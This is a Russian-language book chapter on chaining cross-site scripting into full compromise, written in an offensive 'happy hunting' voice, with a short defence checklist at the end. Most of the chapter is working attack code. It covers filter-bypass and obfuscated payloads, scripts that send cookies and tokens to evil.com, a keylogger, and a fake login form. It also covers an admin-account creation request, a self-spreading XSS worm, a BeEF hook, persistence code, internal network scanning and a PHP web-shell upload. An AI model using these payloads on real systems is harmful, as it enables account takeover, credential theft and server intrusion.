Книга: «Все об уязвимости XSS». Глава 3: Как работает XSS — Анатомия атаки 🔬 Цепочка эксплуатации: от инпута до полного контроля

XSS — это не просто про `alert(1)` и скриншот для bug bounty отчёта. Настоящий хардкор начинается тогда, когда ты понимаешь, что найденная уязвимость — это всего лишь первое звено в длинной цепи, которая приведёт тебя к полному контролю над приложением, пользователями и, возможно, всей инфраструктурой. Давай разберём пошагово, как превратить простую инъекцию в тотальное доминирование.

Этап 0: Понимание целевой системы

Прежде чем тупо слать payload’ы, нужно разобраться в архитектуре цели. Это не просто сайт — это экосистема:

• Клиентская часть: React/Vue/Angular или ванильный JS? SPA или классический MPA? Какие библиотеки используются?

• Аутентификация: JWT в localStorage? Session cookies? OAuth токены?

• API структура: REST? GraphQL? Какие эндпоинты доступны?

• Роли и права: Есть ли разделение user/admin/moderator?

• Внутренние системы: Админки, CRM, тикет-системы, аналитика

Чем больше инфы собрал на разведке — тем точнее будет твоя атака. Используй DevTools, изучай исходники JS, перехватывай запросы через Burp, смотри на структуру API.

Этап 1: Разведка и картирование точек входа

Первый шаг — найти все возможные места, куда можно запихнуть свой код. Твой чеклист:

Публичные формы:

• Комментарии, отзывы, чаты

• Поля профиля (имя, bio, статус, аватар)

• Поисковые запросы

• Формы обратной связи

Скрытые входы:

• HTTP заголовки (User-Agent, Referer, X-Forwarded-For)

• URL параметры (особенно в SPA — hash, query params)

• Cookie values

• localStorage/sessionStorage manipulation

• window.name, postMessage handlers

Бэкенд-ориентированные:

• Системы тикетов и багтрекеры

• Email templates (часто рендерятся в веб-интерфейсах)

• Логи и аналитика (если отображаются через веб)

• Экспорты данных (CSV, PDF с HTML контентом)

Лайфхак: Создай простой скрипт-фаззер, который будет автоматически отправлять тестовые payload’ы во все найденные поля. Используй уникальные маркеры (например, `xss_test_field_profile_name_12345`), чтобы понять, где именно сработал payload.

Этап 2: Крафтинг и доставка payload

Нашёл точку входа — теперь нужно доставить туда свой код. Но это не всегда просто из-за фильтров.

Базовые payload’ы для тестирования контекста:

// HTML контекст
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
// Attribute контекст
" onmouseover="alert('XSS')
' autofocus onfocus='alert('XSS')
// JavaScript контекст
';alert('XSS');//
'-alert('XSS')-'
// URL контекст
javascript:alert('XSS')
text/html,<script>alert('XSS')</script>

Обход фильтров — твои основные приёмы:

// Case manipulation
<ScRiPt>alert(1)</sCrIpT>
// Encoding
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<img src=x onerror="\u0061lert(1)">
// Tag breaking
<scr<script>ipt>alert(1)</scr</script>ipt>
// Null byte
<scri%00pt>alert(1)</scri%00pt>
// Comment breaking
<!--<script>alert(1)//--></script>
// Polyglot (работает в разных контекстах)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Для продвинутых — обфусцированный payload:

<svg/onload="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))">
// Base64 для alert(document.cookie)
<img src=x onerror="Function('ale'+'rt(1)')()">
<iframe src="javascript:eval('\x61\x6c\x65\x72\x74\x28\x31\x29')">

Этап 3: Срабатывание и установление контакта

Payload доставлен, теперь ждём срабатывания. Но как узнать, что он вообще сработал?

Для Reflected/DOM-based XSS — видишь сразу в своём браузере.

Для Stored/Blind XSS — нужна обратная связь. Вот тут начинается настоящая работа:

// Простейший callback
<script>
new Image().src='https://your-server.com/xss?victim='+document.cookie;
</script>
// Более продвинутый сбор данных
<script>
fetch('https://your-server.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: location.href,
dom: document.documentElement.outerHTML,
storage: localStorage,
session: sessionStorage
})
});
</script>
// XSSHunter-style payload
<script src="https://your-xss-hunter.com/your-token"></script>

Профессиональный подход: Разверни свой сервер для приёма callback’ов. Простой Express.js или даже Flask достаточно:

// server.js (Node.js)
const express = require('express');
const app = express();
app.get('/xss', (req, res) => {
console.log('[XSS HIT]', {
time: new Date(),
cookie: req.query.victim,
ip: req.ip,
headers: req.headers
});
res.send('OK');
});
app.listen(8080);

Этап 4: Первичный захват — кража credential’ов

Как только установили контакт, начинаем качать данные:

Кража cookies и токенов:

<script>
// Cookies (если нет HTTPOnly)
fetch('https://evil.com/steal?c='+document.cookie);
// LocalStorage tokens (JWT, auth tokens)
fetch('https://evil.com/steal?ls='+JSON.stringify(localStorage));
// SessionStorage
fetch('https://evil.com/steal?ss='+JSON.stringify(sessionStorage));
// Все сразу
fetch('https://evil.com/dump', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: Object.assign({}, localStorage),
sessionStorage: Object.assign({}, sessionStorage),
url: location.href,
referrer: document.referrer
})
});
</script>

Кейлоггинг — собираем всё, что печатает жертва:

<script>
let keylog = '';
document.addEventListener('keydown', e => {
keylog += e.key;
if(keylog.length > 50) {
fetch('https://evil.com/keys', {
method: 'POST',
body: keylog
});
keylog = '';
}
});
</script>

Фишинг на месте — подменяем форму логина:

<script>
document.body.innerHTML = `
<div style="max-width:400px;margin:100px auto;font-family:Arial">
<h2>Ваша сессия истекла</h2>
<p>Пожалуйста, войдите снова для продолжения работы</p>
<form id="fake">
<input name="email" placeholder="Email" required style="width:100%;padding:10px;margin:5px 0"><br>
<input type="password" name="pass" placeholder="Пароль" required style="width:100%;padding:10px;margin:5px 0"><br>
<button style="width:100%;padding:10px;background:#0066cc;color:white;border:none;cursor:pointer">Войти</button>
</form>
</div>
`;
document.getElementById('fake').onsubmit = function(e) {
e.preventDefault();
fetch('https://evil.com/phish', {
method: 'POST',
body: JSON.stringify({
email: this.email.value,
pass: this.pass.value,
site: location.hostname
})
}).then(() => {
alert('Неверные учётные данные. Попробуйте снова.');
});
};
</script>

Этап 5: Эскалация привилегий

Теперь, когда у тебя есть базовый доступ, нужно найти админа или пользователя с расширенными правами.

Тактика 1: Blind XSS в админ-панели

Отправь payload в места, которые видят только админы:

• Тикеты поддержки (админ открывает заявки)

• Багрепорты (модераторы проверяют отчёты)

• Логи и аналитика (если есть веб-интерфейс)

// Специальный payload для определения прав
<script>
fetch('https://evil.com/victim-info', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookies: document.cookie,
isAdmin: document.body.innerText.includes('Admin Panel'),
dom: document.body.innerHTML.substring(0, 1000)
})
});
</script>

Тактика 2: CSRF через XSS для повышения прав

Если нашёл функционал создания пользователей или изменения прав:

<script>
// Создаём нового админа
fetch('/admin/users/create', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: 'hacker',
password: 'P@ssw0rd123',
role: 'admin'
})
});
// Или меняем свой аккаунт на admin
fetch('/api/users/me', {
method: 'PATCH',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({role: 'admin'})
});
</script>

Этап 6: Lateral Movement — распространение и закрепление

Получил админа? Отлично. Теперь закрепляемся и распространяемся:

Worm — самораспространяющийся XSS:

<script>
// Читаем текущий payload
const payload = '<script src="https://evil.com/worm.js"></scr'+'ipt>';
// Ищем все формы для комментариев/постов
document.querySelectorAll('form').forEach(form => {
const textarea = form.querySelector('textarea');
if(textarea) {
textarea.value = payload;
form.submit();
}
});
</script>

BeEF — превращаем браузер в зомби:

<script src="https://your-beef-server.com/hook.js"></script>

Теперь через BeEF можешь:

• Сканировать внутреннюю сеть жертвы

• Делать скриншоты

• Красть данные форм

• Использовать браузер как прокси

• Запускать эксплойты

Persistence — постоянное присутствие:

<script>
// Регистрируем Service Worker для постоянства
if('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js').catch(()=>{});
}
// Или через localStorage
if(!localStorage.getItem('infected')) {
localStorage.setItem('infected', 'true');
// Reinfect при каждой загрузке
window.addEventListener('load', () => {
document.body.appendChild(document.createElement('script')).src='https://evil.com/persist.js';
});
}
</script>

Этап 7: Полный контроль — от браузера к серверу

Финальный босс — выход за пределы браузера:

SSRF через XSS:

<script>
// Сканируем внутреннюю сеть
for(let i=1; i<255; i++) {
fetch(`http://192.168.1.${i}`)
.then(() => fetch(`https://evil.com/found?ip=192.168.1.${i}`))
.catch(()=>{});
}
// Атакуем внутренние сервисы
fetch('http://localhost:8080/admin/exec?cmd=whoami', {
credentials: 'include'
}).then(r => r.text()).then(data => {
fetch('https://evil.com/ssrf-result', {
method: 'POST',
body: data
});
});
</script>

Цепочка к RCE:

Если приложение имеет функционал загрузки файлов, экспорта, или выполнения команд:

<script>
// Загружаем shell через API
fetch('/api/upload', {
method: 'POST',
credentials: 'include',
body: new FormData().append('file', new Blob(['<?php system($_GET["c"]); ?>'], {type: 'application/x-php'}), 'shell.php')
}).then(() => {
// Сообщаем о местоположении shell
fetch('https://evil.com/shell-uploaded?path=/uploads/shell.php');
});
</script>

Реальная цепочка атаки — Case Study

Сценарий: Корпоративный портал с тикет-системой

1. Разведка: Нашли форму создания тикета без фильтрации в поле “описание проблемы”

2. Инъекция: Отправили Blind XSS payload в описание

3. Срабатывание: Саппорт открыл тикет через админ-панель — payload сработал

4. Захват: Украли admin cookie и JWT токен из localStorage

5. Эскалация: Залогинились под админом, получили доступ к внутреннему API

6. Lateral Movement: Через API создали нового суперадмина

7. Persistence: Внедрили backdoor в JS-файлы через функцию редактирования шаблонов

8. Full Control: Получили доступ к базе данных через SQL-выполнение в админке

Время от обнаружения до RCE: 2 часа.

Защита на каждом этапе

Чтобы разорвать цепочку, защита должна быть на всех уровнях:

• Input validation: Фильтруй и валидируй всё на входе

• Output encoding: Экранируй всё на выходе (контекстно!)

• CSP: Запрети inline scripts и ограничь источники

• HTTPOnly cookies: Защити сессии от кражи через JS

• CORS правильно: Не давай выполнять запросы куда попало

• Rate limiting: Ограничь массовые атаки

• Security headers: X-XSS-Protection, X-Frame-Options, etc.

• Регулярный аудит: Проверяй код на уязвимости

Итого

Цепочка эксплуатации XSS — это путь от простой инъекции до тотального контроля. Каждый этап требует своих навыков, инструментов и креативности. Настоящий хардкор — это не просто найти XSS, а выжать из него максимум: украсть данные, захватить аккаунты, проникнуть в инфраструктуру, закрепиться и распространиться.

Запомни: XSS — это не конечная точка, это точка входа. То, как далеко ты зайдёшь, зависит только от твоих скиллов, фантазии и готовности идти до конца. Удачной охоты!

51 views·2 shares